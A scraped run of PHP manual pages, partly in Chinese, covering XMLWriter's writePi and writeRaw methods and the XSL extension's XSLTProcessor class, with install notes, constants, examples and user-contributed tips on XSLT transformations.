If you want to input markup directly into an element without validating it, you should use XMLWriter::writeRaw, which writes the contents as is, without any sanitizing.
rjb at robertjbrown dot com 24-Jan-2010 06:04
Quick note - writeElement also seems to decode any HTML entities during the write. For example, if you pass it "Me & You", it will write the output as "Me &amp; You".
googolplex at gmx dot net 09-Dec-2008 06:08
The function XMLWriter::writeElement is used to write an element (i.e. a XML tag, an [optional] content, and a closing XML tag) in one line without sub-elements:

<?php

$oXMLout = new XMLWriter();
$oXMLout->openMemory();
$oXMLout->writeElement("quantity", 8);
$oXMLout->writeElement("price_per_quantity", 110);
print $oXMLout->outputMemory();

// produces:
// <quantity>8</quantity>
// <price_per_quantity>110</price_per_quantity>

?>

whereas if you want to include sub-elements you have to use the XMLWriter::startElement / XMLWriter::endElement pair:

<?php

$oXMLout = new XMLWriter();
$oXMLout->openMemory();
$oXMLout->startElement("item");
$oXMLout->writeElement("quantity", 8);
$oXMLout->writeElement("price_per_quantity", 110);
$oXMLout->endElement();
print $oXMLout->outputMemory();

// produces:
// <item>
// <quantity>8</quantity>
// <price_per_quantity>110</price_per_quantity>
// </item>

?>


Writes a PI

  • ? XMLWriter::writeElement
  • XMLWriter::writeRaw ?
  • PHP Manual
  • XMLWriter 函数
  • Writes a PI

XMLWriter::writePi

xmlwriter_write_pi

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writePi -- xmlwriter_write_pi — Writes a PI

说明

面向对象风格

XMLWriter::writePi ( string $target , string $content ) : bool

过程化风格

xmlwriter_write_pi ( resource $xmlwriter , string $target , string $content ) : bool

Writes a processing instruction.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

target

The target of the processing instruction.

content

The content of the processing instruction.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startPi() - Create start PI tag
  • XMLWriter::endPi() - End current PI

User Contributed Notes

ghargoil at remove dot gmx dot this dot net 29-Jul-2006 10:13
Just wanted to point out that if you do the following code in php, you can generate a simple php page with a stylesheet.

<?php
        $res = xmlwriter_open_memory();
        xmlwriter_set_indent_string($res, "\t");
        xmlwriter_start_document($res);
        xmlwriter_write_pi($res, "xml-stylesheet", "type=\"text/xml\" href=\"yourstyle.xsl\"");
        xmlwriter_end_document($res);
        $string = xmlwriter_output_memory($res);
        echo $string;
?>

This results in the following:
X-Powered-By: PHP/5.1.4
Content-type: text/html

<?xml version="1.0"?>
<?xml-stylesheet type="text/xml" href="yourstyle.xsl"?>


Write a raw XML text

  • ? XMLWriter::writePi
  • XSL ?
  • PHP Manual
  • XMLWriter 函数
  • Write a raw XML text

XMLWriter::writeRaw

xmlwriter_write_raw

(PHP 5 >= 5.2.0, PHP 7, PECL xmlwriter >= 2.0.4)

XMLWriter::writeRaw -- xmlwriter_write_raw — Write a raw XML text

说明

面向对象风格

XMLWriter::writeRaw ( string $content ) : bool

过程化风格

xmlwriter_write_raw ( resource $xmlwriter , string $content ) : bool

Writes a raw xml text.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

content

The text string to write.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::text() - Write text

User Contributed Notes

There are no user contributed notes for this page.


XSL

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
    • Example collection.xml and collection.xsl files
    • Error handling with libxml error handling functions
  • XSLTProcessor — The XSLTProcessor class
    • XSLTProcessor::__construct — Creates a new XSLTProcessor object
    • XSLTProcessor::getParameter — Get value of a parameter
    • XSLTProcessor::getSecurityPrefs — Get security preferences
    • XSLTProcessor::hasExsltSupport — Determine if PHP has EXSLT support
    • XSLTProcessor::importStylesheet — Import stylesheet
    • XSLTProcessor::registerPHPFunctions — Enables the ability to use PHP functions as XSLT functions
    • XSLTProcessor::removeParameter — Remove parameter
    • XSLTProcessor::setParameter — Set value for a parameter
    • XSLTProcessor::setProfiling — Sets profiling output file
    • XSLTProcessor::setSecurityPrefs — Set security preferences
    • XSLTProcessor::transformToDoc — Transform to a DOMDocument
    • XSLTProcessor::transformToUri — Transform to URI
    • XSLTProcessor::transformToXml — Transform to XML

User Contributed Notes

Jaroslaw Zabiello 23-Jun-2011 07:10
This is more usefull, no files needed, it just takes XML and XSL strings as input parameters and returns transformed XML

<?php
/**
 * @param  $xml
 * @param  $xsl
 * @return string xml
 */
function transform($xml, $xsl) {
   $xslt = new XSLTProcessor();
   $xslt->importStylesheet(new  SimpleXMLElement($xsl));
   return $xslt->transformToXml(new SimpleXMLElement($xml));
}
?>
sudhir dot vis at gmail dot com 25-Apr-2009 11:40
Here is a simplest way to transform the xml from php

<?php
$sXml  = "<xml>";
$sXml .= "<sudhir>hello sudhir</sudhir>";
$sXml .= "</xml>";

# LOAD XML FILE
$XML = new DOMDocument();
$XML->loadXML( $sXml );

# START XSLT
$xslt = new XSLTProcessor();
$XSL = new DOMDocument();
$XSL->load( 'xsl/index.xsl', LIBXML_NOCDATA);
$xslt->importStylesheet( $XSL );
#PRINT
print $xslt->transformToXML( $XML );
?>
allens at nospam dot com 19-Apr-2009 08:45
Problem:
Getting Netbeans error message:
Fatal error: Class 'xsltprocessor' not found

Solution:
place copy of php.ini in the c:\windows directory!

by default the php.ini file has xsl disabled......search for the line

;extension=php_xsl.dll

to enable XSL....remove ; so that the extension gets included

Then if Netbeans gives you the following message:
PHP Startup: Unable to load dynamic library './php_xsl.dll'

then you need to run the php-5.2.9-1-win32-installer.msi again
this time selecting the XSL extension!
visual77 at gmail dot com 20-Sep-2008 04:35
The XSLTProcessor is kind of a pain to use to generate an entire website, mostly due to the tedious process of building an XML tree through DOMDocument's createElement and appendChild functions.

To get an entire website out of nothing but XML and XSL (which really is a superior system to just echoing out the HTML), you could use an object that does all the PHP data structure to XML data tree conversion, and combines with the XSLTProcessor for rendering. A good object like this is DOMi, which you can find at http://domi.sourceforge.net.
emilise dot victor at gmail dot com 12-Mar-2008 08:10
Here is a way to get an output without using <xml:message> : use the var_dump function of php :
- First bind the php functions with
<? $xslt->registerPHPFunctions() ?>
and xmlns:php="http://php.net/xsl" in the stylesheet
- Then you can call the var_dump function like this : <xsl:variable name="a" select="php:function('var_dump', $return)" />

I couldn't find a way to call the function and have it really print the result without creating a variable, but well, it's just for debugging...
shangxiao at php dot net 10-Jan-2008 05:38
When using the DOM api to add xsl commands to your stylesheet dynamically, be sure to use createElementNS() rather than createElement() otherwise the XSLTProcessor will not recognise these DOM nodes.

Eg:
$xsl->createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:element');
pb at online-magazin dot at 11-Oct-2007 03:13
Calling the Saxon XSLT Processor is a very esay task to do!

You just need to do some simple task

1. Install the JavaBridge for PHP

2. Download the freeware (B) Saxon distribution from http://saxon.sourceforge.net/

3. Put the jar files in a directory whre you have access

4. Use this sample of code

// Directory where the jar files are located
define("SAXON_DIR", $_SERVER['DOCUMENT_ROOT']."/saxonb8.9.0/");

// include the jars
java_require(SAXON_DIR."saxon8.jar;".SAXON_DIR."saxon8-dom.jar");

$sXslFile = $_SERVER['DOCUMENT_ROOT']."/myfirst.xsl"; // The xsl file
$sXmlFile = $_SERVER['DOCUMENT_ROOT']."/myfirst.xml"; // The xml file

try
{
  $oXslSource = new java("javax.xml.transform.stream.StreamSource", "file://".$sXslFile);
  $oXmlSource = new java("javax.xml.transform.stream.StreamSource", "file://".$sXmlFile);

  $oFeatureKeys = new JavaClass("net.sf.saxon.FeatureKeys");

  // Create the Factory
  $oTransformerFactory = new java("net.sf.saxon.TransformerFactoryImpl");

  //Disable source document validation
  $oTransformerFactory->setAttribute($oFeatureKeys->SCHEMA_VALIDATION, 4);

  // Create a new Transformer
  $oTransFormer = $oTransformerFactory->newTransformer($oXslSource);

  // Create a StreamResult to store the output
  $oResultStringWriter = new java("java.io.StringWriter");
  $oResultStream = new java("javax.xml.transform.stream.StreamResult", $oResultStringWriter);

  // Transform
  $oTransFormer->transform($oXmlSource, $oResultStream);

  // Echo the output from the transformation
  echo java_cast($oResultStringWriter->toString(), "string");

}
catch(JavaException $e){
   echo java_cast($e->getCause()->toString(), "string");
   exit;
}

5. Enjoy

This is working quite well.
Vasil Rangelov 21-Aug-2007 07:31
@basslines at gmail dot com
"
As far as I can tell, the most recent stable versions of LibXML/LibXSLT/LibEXSLT do NOT support xPath 2.0 / XSLT 2.0 transformations. The only support for XSLT 2.0 that I've found is in Java's SAXON processor (http://saxon.sourceforge.net/).
"

Using SAXON or AltovaXML by using their JAVA bindings could prove to be a difficult task to do, and .NET seems to be buggy (at least for me). However, I've made a class that uses SAXON or AltovaXML from the command line. AltovaXML could also be used with COM, provided it's registered as a COM component.

You can download my wrapper from:
http://xslt2processor.sourceforge.net/

I still need to implement a more graceful error handling (the way the XSL extension uses the Libxml functions), and once the bug
http://bugs.php.net/bug.php?id=41577
is fixed, I'll implement the .NET interfaces too.

I'll appreciate any feedback.
geoffreyj dot lee at gmail dot com 01-Jul-2007 11:02
Here are a couple useful tips for those who care about cross-browser compatibility.

Given:

<script type="text/javascript" src="test.js"></script>

XSLT will automatically condense it to:

<script type="text/javascript" src="test.js"/>

While this is good, Internet Explorer breaks on empty script tags. So, the simple solution is to add something to prevent an empty tag. For example:

<script type="text/javascript" src="test.js"><xsl:comment/></script>

Produces:

<script type="text/javascript" src="test.js">

</script>

------------------------

Also, here is a way to use IE's conditional comments:

<xsl:comment>[if gte IE 5]&#62;
&#60;link rel="stylesheet" type="text/css" href="ie.css" /&#62;
&#60;![endif]</xsl:comment>

Produces:

<!--[if gte IE 5]>
<link rel="stylesheet" type="text/css" href="ie.css" />
<![endif]-->

This will let you isolate IE-related CSS without needing to use ugly CSS hacks.
gabriel dot birke at web dot de 10-May-2007 03:19
Each <xsl:message> tag will generate a PHP error (level Warning). If you want to collect and pretty-print them, you could use a custom error handling function that collects the warnings in a static variable.
mnot at mnot dot net 08-May-2007 08:59
You can set an HTTP proxy for the XSLT document() function to use (as well as DTD external references) by setting http_proxy in the environment.

E.g., in Apache configuration;

SetEnv http_proxy http://127.0.0.1:3128/
Ryan D. Hatch 02-May-2007 01:14
Looking for php_xsl.dll?

If you installed on Windows using the MSI Installer - you may not have it.

1.) Add/Remove Programs and Change PHP Installation.  Select XSL Extension.

OR

2.) Download complete .zip file of PHP and you can copy php_xsl.dll into your PHP/etc directory.

Just a note.

Ryan D. Hatch
adrian at foeder dot de 14-Sep-2006 02:45
If you want to use the document()-function inside your XSL stylesheet, please note that you have to use an absolute path there.
Important for windows users: the absolute path *has* to be with forward slashes, so subsitute windows-path-backslashes to forward slashes before you transform the document.

Examples:
This will NOT work:
<xsl:copy-of select="document('test.xml')" />

This will also NOT work:
<xsl:copy-of select="document('c:\temp\test.xml')" />

But this WILL work:
<xsl:copy-of select="document('c:/temp/test.xml')" />
27-Apr-2006 06:26
Enable libxslt library, PHP 5, under windows:

To Enable:
In your php.ini
1. Uncomment ;extension=php_xsl.dll
2. Change extension_dir to
     extension_dir = "./ext"

To Confirm:
1. In a test.php page:
<?php phpinfo() ?>
2. Run test.php
3. Search for "libxslt Version". It should return a version number in a XSL headed table.

Further info Google
"Configuring and Testing PHP Servers for XSL Support"
Fabrice Bonny 30-Mar-2006 01:34
In response to how to use entities from DTD (internal or external) in XSLT. It works if you do this way:

$xsl = new DOMDocument;
$xsl->resolveExternals = TRUE;
$xsl->substituteEntities = TRUE;
$xsl->load(...);

Hope this helps! ;-)
basslines at gmail dot com 29-Mar-2006 10:07
As far as I can tell, the most recent stable versions of LibXML/LibXSLT/LibEXSLT do NOT support xPath 2.0 / XSLT 2.0 transformations. The only support for XSLT 2.0 that I've found is in Java's SAXON processor (http://saxon.sourceforge.net/).
17-Mar-2006 09:14
In response to appletalk at gmail dot com
<snip>
As many of you may have noticed, DOM parser gives errors if the '&nbsp;' entity is present. The E_WARN message looks like:
Warning: DOMDocument::load() [function.load]: Entity 'nbsp' not defined in ...
There're many ways to solve this:
.....
b) Defining &nbsp;
At the top of the document, after the <?xml?> definition, add:
   <!DOCTYPE xsl:stylesheet [
   <!ENTITY nbsp "&#160;" >
   ]>
.......</snip>
Just wanted to let people know that option b does NOT work. I'm not sure why this isn't implemented correctly, but it isn't, so don't waste your time. It's unfortunate the DOMXSL transform is so much less capable than the old xslt function.
venkatesh at lammersmedical dot com 01-Mar-2005 06:17
Here is function to read from the XSL sheet which is saved as a text file.

function ReadExcelSheet($filename){
             $test=file($filename);
             $ar1=str_replace("~[^\t]*\t","\t",$test);
             $ar2=str_replace("~","",$ar1);
             $ar=str_replace("?","",$ar2);
             $temp=array();
             for ($i=0; $i<count($ar); $i++) {
                       if((substr($ar[$i],0,1)!= "\t")){
                           if($ar[$i]!=="\r\n"){
                           array_push($temp,$ar[$i]);
            }
        }
    }
    $name=split("\t",$temp[0]);
    $ExcelList=array();
    for($i=1;$i<count($temp);$i++){
        $split_result=split("\t",$temp[$i]);
        array_push($ExcelList,$split_result);
    }
    $result=insert_into_array($ExcelList,0,$name);
    return($result);
}
appletalk at gmail dot com 04-Feb-2005 10:32
As many of you may have noticed, DOM parser gives errors if the '&nbsp;' entity is present. The E_WARN message looks like:

Warning: DOMDocument::load() [function.load]: Entity 'nbsp' not defined in ...

There're many ways to solve this:
a) The hard way
<xsl:text disable-output-escaping="yes"> &amp;nbsp;</xsl:text>

b) Defining &nbsp;
At the top of the document, after the <?xml?> definition, add:
   <!DOCTYPE xsl:stylesheet [
    <!ENTITY nbsp "&#160;" >
    ]>

c) External Doctype
Just in case you want need other HTML entities, you can call an external doctype with the proper definitions

<!DOCTYPE page SYSTEM "http://gv.ca/dtd/character-entities.dtd">

Of course, you can download the file and place it in your server.
kekoajs at yahoo dot com 22-Dec-2004 02:07
Wow, I spent the better part of a day looking for how one could pass an entire test expression to an XSL stylesheet.  It seems that the XSLT 1.0 specification doesn't support it but PHP 5 (and maybe 4s) inclusion of  EXSLT allows one to do exactly that...

simply add these lines...

xmlns:dyn="http://exslt.org/dynamic"
extension-element-prefixes="dyn"

to the <xsl:stylesheet> element and when using an expression stored in a <xsl:param> element write

<xsl:if test="dyn:evaluate($param-name)">

and viola!  you can now use expressions generated externally in your stylesheet!

EXSLT adds many useful functions that can be integrated into your XSL in a similar fashion.  You can go to http://exslt.org/ to learn more...
rd at jerntorget dot se 24-Sep-2004 03:58
If you get the following warning message:

xsltApplyOneTemplate: _if_ was not compiled in (if can for example be apply-template or some other method), i've found that the problem seems to be an &nbsp; directly before the <xsl:if> or what ever is causing the problem.

One way to get thru the problem is to use span tags around &nbsp;  like : <span>&nbsp;</span>
jw at jwscripts dot com 06-Sep-2004 02:23
The following code is a wrapper to support calls to some of the old xslt_* functions:

<?

if (PHP_VERSION >= 5) {
    // Emulate the old xslt library functions
    function xslt_create() {
        return new XsltProcessor();
    }

    function xslt_process($xsltproc,
                          $xml_arg,
                          $xsl_arg,
                          $xslcontainer = null,
                          $args = null,
                          $params = null) {
        // Start with preparing the arguments
        $xml_arg = str_replace('arg:', '', $xml_arg);
        $xsl_arg = str_replace('arg:', '', $xsl_arg);

        // Create instances of the DomDocument class
        $xml = new DomDocument;
        $xsl = new DomDocument;

        // Load the xml document and the xsl template
        $xml->loadXML($args[$xml_arg]);
        $xsl->loadXML($args[$xsl_arg]);

        // Load the xsl template
        $xsltproc->importStyleSheet($xsl);

        // Set parameters when defined
        if ($params) {
            foreach ($params as $param => $value) {
                $xsltproc->setParameter("", $param, $value);
            }
        }

        // Start the transformation
        $processed = $xsltproc->transformToXML($xml);

        // Put the result in a file when specified
        if ($xslcontainer) {
            return @file_put_contents($xslcontainer, $processed);
        } else {
            return $processed;
        }

    }

    function xslt_free($xsltproc) {
        unset($xsltproc);
    }
}

$arguments = array(
    '/_xml' => file_get_contents("newxslt.xml"),
    '/_xsl' => file_get_contents("newxslt.xslt")
);

$xsltproc = xslt_create();
$html = xslt_process(
    $xsltproc,
    'arg:/_xml',
    'arg:/_xsl',
    null,
    $arguments
);

xslt_free($xsltproc);
print $html;

?>
rojaro 23-Jun-2004 07:43
If you're want to use XML from a variable e.g. $xmldata but the XSLT-StyleSheet from a file, you can do it also the following way:

<?php
$xslt = new xsltProcessor;
$xslt->importStyleSheet(DomDocument::load('filename.xsl'));
print $xslt->transformToXML(DomDocument::loadXML($xmldata));
?>


简介

The XSL extension implements the XSL standard, performing » XSLT transformations using the » libxslt library

User Contributed Notes

There are no user contributed notes for this page.


需求

此扩展需要 libxml PHP 扩展。这表示需要使用 --enable-libxml ，尽管这将隐式完成因为 libxml 是缺省开启的。

This extension uses libxslt which can be found at » http://xmlsoft.org/XSLT/. libxslt version 1.1.0 or greater is required.

User Contributed Notes

There are no user contributed notes for this page.


安装

PHP 5 includes the XSL extension by default and can be enabled by adding the argument --with-xsl[=DIR] to your configure line (DIR being the libxslt installation directory).

User Contributed Notes

manuel dot jebauer at gmx dot de 30-Mar-2017 03:57
sudo apt-get install php5-xsl
sudo /etc/init.d/apache restart
worked for me on Linux Mint 17.3 to intall XSL.
Michael 11-Jun-2009 02:26
On some linux systems you might be able to simply do this:

sudo apt-get install php5-xsl

or similar.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

XSL_CLONE_AUTO (integer)
XSL_CLONE_NEVER (integer)
XSL_CLONE_ALWAYS (integer)
LIBXSLT_VERSION (integer)
libxslt version like 10117. Available as of PHP 5.1.2.
LIBXSLT_DOTTED_VERSION (string)
libxslt version like 1.1.17. Available as of PHP 5.1.2.
LIBEXSLT_VERSION (integer)
libexslt version like 813. Available as of PHP 5.1.2.
LIBEXSLT_DOTTED_VERSION (string)
libexslt version like 1.1.17. Available as of PHP 5.1.2.
XSL_SECPREF_NONE (integer)
Deactivate all security restrictions.
XSL_SECPREF_READ_FILE (integer)
Disallows reading files.
XSL_SECPREF_WRITE_FILE (integer)
Disallows writing files.
XSL_SECPREF_CREATE_DIRECTORY (integer)
Disallows creating directories.
XSL_SECPREF_READ_NETWORK (integer)
Disallows reading network files.
XSL_SECPREF_WRITE_NETWORK (integer)
Disallows writing network files.
XSL_SECPREF_DEFAULT (integer)
Disallows all write access, i.e. a bitmask of XSL_SECPREF_WRITE_NETWORK | XSL_SECPREF_CREATE_DIRECTORY | XSL_SECPREF_WRITE_FILE.

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • Example collection.xml and collection.xsl files
  • Error handling with libxml error handling functions

User Contributed Notes

hipertracker at gmail dot com 28-Mar-2011 05:49
This is more convenient, no files nor verbose variables needed:

<?php
  $xslt = new XSLTProcessor();
  $xslt->importStylesheet(new SimpleXMLElement($xslt_string));
  echo $xslt->transformToXml(new SimpleXMLElement($xml_string));
?>
contato at log dot blog dot br 15-Oct-2008 05:43
Here's a very simple example on how to use PHP5 to transform a XML file using a XSL file.

<?php

   $xslDoc = new DOMDocument();
   $xslDoc->load("collection.xsl");

   $xmlDoc = new DOMDocument();
   $xmlDoc->load("collection.xml");

   $proc = new XSLTProcessor();
   $proc->importStylesheet($xslDoc);
   echo $proc->transformToXML($xmlDoc);

?>

For the sake of simplicity there's no error handling on this code. I hope this helps.


Example collection.xml and collection.xsl files

Many examples in this reference require both an XML and an XSL file. We will use collection.xml and collection.xsl that contains the following:

Example #1 collection.xml

<collection>
 <cd>
  <title>Fight for your mind</title>
  <artist>Ben Harper</artist>
  <year>1995</year>
 </cd>
 <cd>
  <title>Electric Ladyland</title>
  <artist>Jimi Hendrix</artist>
  <year>1997</year>
 </cd>
</collection>

Example #2 collection.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:param name="owner" select="'Nicolas Eliaszewicz'"/>
 <xsl:output method="html" encoding="iso-8859-1" indent="no"/>
 <xsl:template match="collection">
  Hey! Welcome to <xsl:value-of select="$owner"/>'s sweet CD collection!
  <xsl:apply-templates/>
 </xsl:template>
 <xsl:template match="cd">
  <h1><xsl:value-of select="title"/></h1>
  <h2>by <xsl:value-of select="artist"/> - <xsl:value-of select="year"/></h2>
  <hr />
 </xsl:template>
</xsl:stylesheet>

User Contributed Notes

rich300676 at gmail dot com 01-Sep-2018 11:02
This thread seems to end with no examples and no explanation of how to use xml.xslt with php....


Error handling with libxml error handling functions

libxml offers a number of functions for handling errors, which can be employed to capture and deal with errors in XSLT processing.

Example #1 fruits.xml

A valid XML file.

<fruits>
 <fruit>Apple</fruit>
 <fruit>Banana</fruit>
 <fruit>Cherry</fruit>
</fruits>

Example #2 fruits.xsl

Contains an invalid select expression.

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:output method="html" encoding="utf-8" indent="no"/>
 <xsl:template match="fruits">
  <ul>
   <xsl:apply-templates/>
  </ul>
 </xsl:template>
 <xsl:template match="fruit">
  <li><xsl:value-of select="THIS IS A DELIBERATE ERROR!"/></li>
 </xsl:template>
</xsl:stylesheet>

Example #3 Collating and printing errors

The example below captures and displays libxml errors raised when calling XSLTProcessor::importStyleSheet() with a stylesheet containing an error.

<?php

$xmldoc = new DOMDocument();
$xsldoc = new DOMDocument();
$xsl = new XSLTProcessor();

$xmldoc->loadXML('fruits.xml');
$xsldoc->loadXML('fruits.xsl');

libxml_use_internal_errors(true);
$result = $xsl->importStyleSheet($xsldoc);
if (!$result) {
    foreach (libxml_get_errors() as $error) {
        echo "Libxml error: {$error->message}\n";
    }
}
libxml_use_internal_errors(false);

if ($result) {
    echo $xsl->transformToXML($xmldoc);
}

?>

以上例程的输出类似于：

Libxml error: Invalid expression

Libxml error: compilation error: file fruits.xsl line 9 element value-of
Libxml error: xsl:value-of : could not compile select expression 'THIS IS A DELIBERATE ERROR!'

User Contributed Notes

There are no user contributed notes for this page.


The XSLTProcessor class

(PHP 5, PHP 7)

简介

类摘要

XSLTProcessor {
/* 方法 */
getParameter ( string $namespaceURI , string $localName ) : string
public getSecurityPrefs ( void ) : int
hasExsltSupport ( void ) : bool
public importStylesheet ( object $stylesheet ) : bool
registerPHPFunctions ([ mixed $restrict ] ) : void
removeParameter ( string $namespaceURI , string $localName ) : bool
setParameter ( string $namespace , string $name , string $value ) : bool
setProfiling ( string $filename ) : bool
public setSecurityPrefs ( int $securityPrefs ) : int
transformToDoc ( DOMNode $doc ) : DOMDocument
transformToURI ( DOMDocument $doc , string $uri ) : int
transformToXml ( object $doc ) : string
}

Table of Contents

  • XSLTProcessor::__construct — Creates a new XSLTProcessor object
  • XSLTProcessor::getParameter — Get value of a parameter
  • XSLTProcessor::getSecurityPrefs — Get security preferences
  • XSLTProcessor::hasExsltSupport — Determine if PHP has EXSLT support
  • XSLTProcessor::importStylesheet — Import stylesheet
  • XSLTProcessor::registerPHPFunctions — Enables the ability to use PHP functions as XSLT functions
  • XSLTProcessor::removeParameter — Remove parameter
  • XSLTProcessor::setParameter — Set value for a parameter
  • XSLTProcessor::setProfiling — Sets profiling output file
  • XSLTProcessor::setSecurityPrefs — Set security preferences
  • XSLTProcessor::transformToDoc — Transform to a DOMDocument
  • XSLTProcessor::transformToUri — Transform to URI
  • XSLTProcessor::transformToXml — Transform to XML

User Contributed Notes

tschallacka 29-Feb-2016 09:58
uncomment extension=php_xsl.dll on windows to activate it in your php.ini. Then restart your webserver to refresh php.
flavius 13-Nov-2015 05:49
It requires PHP5 XSL extension. On linux:

sudo apt-get install php5-xsl


Creates a new XSLTProcessor object

  • ? XSLTProcessor
  • XSLTProcessor::getParameter ?
  • PHP Manual
  • XSLTProcessor
  • Creates a new XSLTProcessor object

XSLTProcessor::__construct

(PHP 5, PHP 7)

XSLTProcessor::__construct — Creates a new XSLTProcessor object

说明

XSLTProcessor::__construct ( void )

Creates a new XSLTProcessor object.

参数

此函数没有参数。

返回值

没有返回值。

范例

Example #1 Creating an XSLTProcessor

<?php

$xsldoc = new DOMDocument();
$xsldoc->load($xsl_filename);

$xmldoc = new DOMDocument();
$xmldoc->load($xml_filename);

$xsl = new XSLTProcessor();
$xsl->importStyleSheet($xsldoc);
echo $xsl->transformToXML($xmldoc);

?>

User Contributed Notes

There are no user contributed notes for this page.


Get value of a parameter

  • ? XSLTProcessor::__construct
  • XSLTProcessor::getSecurityPrefs ?
  • PHP Manual
  • XSLTProcessor
  • Get value of a parameter

XSLTProcessor::getParameter

(PHP 5, PHP 7)

XSLTProcessor::getParameter — Get value of a parameter

说明

XSLTProcessor::getParameter ( string $namespaceURI , string $localName ) : string

Gets a parameter if previously set by XSLTProcessor::setParameter().

参数

namespaceURI

The namespace URI of the XSLT parameter.

localName

The local name of the XSLT parameter.

返回值

The value of the parameter (as a string), or FALSE if it's not set.

参见

  • XSLTProcessor::setParameter() - Set value for a parameter
  • XSLTProcessor::removeParameter() - Remove parameter

User Contributed Notes

There are no user contributed notes for this page.


Get security preferences

  • ? XSLTProcessor::getParameter
  • XSLTProcessor::hasExsltSupport ?
  • PHP Manual
  • XSLTProcessor
  • Get security preferences

XSLTProcessor::getSecurityPrefs

(PHP >= 5.4.0)

XSLTProcessor::getSecurityPrefs — Get security preferences

说明

public XSLTProcessor::getSecurityPrefs ( void ) : int

Gets the security preferences.

参数

此函数没有参数。

返回值

A bitmask consisting of XSL_SECPREF_READ_FILE, XSL_SECPREF_WRITE_FILE, XSL_SECPREF_CREATE_DIRECTORY, XSL_SECPREF_READ_NETWORK, XSL_SECPREF_WRITE_NETWORK.

User Contributed Notes

There are no user contributed notes for this page.


Determine if PHP has EXSLT support

  • ? XSLTProcessor::getSecurityPrefs
  • XSLTProcessor::importStylesheet ?
  • PHP Manual
  • XSLTProcessor
  • Determine if PHP has EXSLT support

XSLTProcessor::hasExsltSupport

(PHP 5 >= 5.0.4, PHP 7)

XSLTProcessor::hasExsltSupport — Determine if PHP has EXSLT support

说明

XSLTProcessor::hasExsltSupport ( void ) : bool

This method determines if PHP was built with the » EXSLT library.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 Testing EXSLT support

<?php

$proc = new XSLTProcessor;
if (!$proc->hasExsltSupport()) {
    die('EXSLT support not available');
}

// do EXSLT stuff here ..

?>

User Contributed Notes

There are no user contributed notes for this page.


Import stylesheet

  • ? XSLTProcessor::hasExsltSupport
  • XSLTProcessor::registerPHPFunctions ?
  • PHP Manual
  • XSLTProcessor
  • Import stylesheet

XSLTProcessor::importStylesheet

(PHP 5, PHP 7)

XSLTProcessor::importStylesheet — Import stylesheet

说明

public XSLTProcessor::importStylesheet ( object $stylesheet ) : bool

This method imports the stylesheet into the XSLTProcessor for transformations.

参数

stylesheet

The imported style sheet as a DOMDocument or SimpleXMLElement object.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.2.8 | Accepts SimpleXMLElement again which was broken since PHP 5.2.6.

User Contributed Notes

rbmeo at yahoo dot com 12-Jul-2012 09:52
To make your import dynamic, try this code:

<?php
$dom = new DOMDocument();
$dom->load('main.xsl');
$xpath = new DomXPath($dom);
$importnode= $questionsXsl->createElement('xsl:include');
$attr= $questionsXsl->createAttribute('href');
$attr->value = 'import.xsl';
$importnode->appendChild($attr);
$dom->documentElement->insertBefore($importnode,$ref);
$dom->loadXml($dom->saveXml());
?>

this code basically loads the main stylesheet, prepend the import xsl code then reload as xml string so the imported stylesheet will be loaded at dom.
kevin at metalaxe dot com 17-Nov-2007 03:26
Just for reference, as of this writing, this function does not support importing multiple stylesheets. The following will output only the stylesheet transformation of the second imported sheet:

<?php

# LOAD XML FILE
$XML = new DOMDocument();
$XML->load( 'data.xml' );

# START XSLT
$xslt = new XSLTProcessor();

# IMPORT STYLESHEET 1
$XSL = new DOMDocument();
$XSL->load( 'template1.xsl' );
$xslt->importStylesheet( $XSL );

#IMPORT STYLESHEET 2
$XSL = new DOMDocument();
$XSL->load( 'template2.xsl' );
$xslt->importStylesheet( $XSL );

#PRINT
print $xslt->transformToXML( $XML );
?>

This wasn't documented and quite dissapointing.
fcartegnie 21-Jul-2007 06:11
PHP5 xsl processor has a different behaviour than PHP4's one with CDATA sections. (see http://bugs.php.net/bug.php?id=29837)
Loaded XSL sheet CDATA sections does not allow, by default, output-escaping handling (everything in the CDATA is escaped by default).

So in this case you can't build your XSL Dom the usual way:
    $xsldom = DomDocument::loadXML(file_get_contents('sheet.xsl'));

and must go through this one (allowing LIBXML_NOCDATA parameter):
    $xsldom = new DomDocument;
    $xsldom->load('sheet.xsl', LIBXML_NOCDATA);

Then the CDATA output-escaping behaviour will be correct.
diesel at spbnet dot ru 19-Mar-2007 09:07
This is not a problem. You may set DOMDocument's documentURI property.
Something like this

<?php
$xsl = new DOMDocument('1.0','UTF-8');

$xsl->loadXML(file_get_contents('/foo/bar/somefile.xsl');
$xsl->documentURI = '/foo/bar/somefile.xsl';

$xslProc = new XSLTProcessor();
$xslProc->importStylesheet($xsl);
?>

and document('other.xsl') will work fine!
bbrosseau at gmail 01-Mar-2005 08:46
For those who wants to use external documents, it is important not to use the DomDocument::loadXML because the processor will not have the path to look for other files

So if you want to transform some xml with a pre-generated stylesheet $f:

<?php
$f = 'somestylesheet.xsl';
$xsl = DomDocument::loadXML(file_get_contents($f));
?>

document('other.xml') will not work with relative path and <?php $xsl = DomDocument::load($f); ?> will!


Enables the ability to use PHP functions as XSLT functions

  • ? XSLTProcessor::importStylesheet
  • XSLTProcessor::removeParameter ?
  • PHP Manual
  • XSLTProcessor
  • Enables the ability to use PHP functions as XSLT functions

XSLTProcessor::registerPHPFunctions

(PHP 5 >= 5.0.4, PHP 7)

